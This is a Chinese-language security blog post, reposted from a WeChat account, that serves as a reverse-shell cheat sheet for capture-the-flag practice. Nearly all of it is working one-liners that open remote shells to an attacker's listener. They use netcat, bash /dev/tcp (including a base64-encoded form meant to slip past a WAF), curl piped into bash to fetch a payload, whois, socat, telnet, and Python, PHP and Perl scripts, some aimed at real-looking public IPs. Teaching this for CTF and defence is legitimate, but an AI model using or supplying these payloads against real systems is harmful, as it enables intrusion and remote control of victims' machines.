反弹shell

admin 2024年3月4日13:36:52评论21 views字数 2526阅读8分25秒阅读模式

开学一周了 碎了的心慢慢愈合

(我猜正是需要需要周分享的时候)

看看这次准备了啥内容吧~

为什么要反弹shell

1、目标机因防火墙受限,目标机器只能发送请求,不能接收请求

2、目标机端口被占用

3、目标机位于局域网,或IP会动态变化,攻击机无法直接连接

4、对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的

反弹shell的方法

Windows反弹shell

工具:netcat/nc

1、NC正向shell

控制端主动连接被控端

被控端:

nc -lvvp 6666 -e cmd.exe
-l  监听
-vv 显示详细信息
-p  指定端口

控制端:

nc 192.168.162.6666

原理:
被控端将cmd.exe重定向到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

2、NC反向shell

被控端主动连接控制端

控制端:
nc -lvvp 6666

被控端:
nc -e cmd.exe 192.168.227 6666

原理:
被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell

Linux反弹shell

1、NC正向shell

被控端:

nc -lvvp 6666 -e /bin/sh
-l  监听
-vv 显示详细信息
-p  指定端口

控制端:

nc 192.168.162.6666

原理:
被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

2、NC反向shell(做题一般是用反向)

控制端:
nc -lvvp 6666

被控端:
nc -e /bin/sh 192.168.227 6666

原理:
被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell

3、bash反弹

bash -i >& /dev/tcp/192.168.2.102/7777 0>&1
bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"

// base -i 产生一个bash交互环境
// >& 将联合符号前面的内容与后面相结合然后一起重定向给后者
// /dev/tcp/192.168.2.102/7777 linux环境中所有的内容都是以文件的形式存在的,将主机与目标主机 192.168.2.102:7777 端口建立一个**TCP连接**
// 将**标准输入**与**标准输出**内容相结合,然后重定向给前面标准输出内容

有 waf 时可以使用 base64 编码执行 bash 反弹 shell

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

// YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ== 解码结果为
// bash -i >& /dev/tcp/192.168.2.102/4444 0>&1

4、curl反弹

这里操作借助了Linux的管道,Kali开启 apache 服务,把 bash 命令写入 html 文件,只要文本包含 bash 一句话即可

bash -i >& /dev/tcp/192.168.2.103/6666 0>&1

然后在目标机上执行如下命令

curl 192.168.2.103/bash.html|bash
curl ip:port|`ls|base`

5、whois反弹

whois -h 192.168.2.102 -p 4444 `pwd`
// 反弹的shell只能执行后面带的命令

6、socat反弹

socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

7、telnet反弹

方法一:

mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a

方法二:

攻击机开两个监听

nc -lvvp 2333nc -lvvp 4000

目标机主动连接攻击机:

telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000

8、各种脚本反弹

本地开启监听:

nc -lvvp 2333

python 脚本

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php 脚本

php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl 脚本

perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

在实际的解题过程中,使用比较多的是nc反弹和bash反弹,使用条件是有一个公网IP来访问到本机。公网IP获取的方法,可以租服务器或者是做内网穿透

 

原文始发于微信公众号(SKSEC):【表哥有话说 第108期】反弹shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月4日13:36:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反弹shellhttps://cn-sec.com/archives/2543642.html

发表评论

匿名网友 填写信息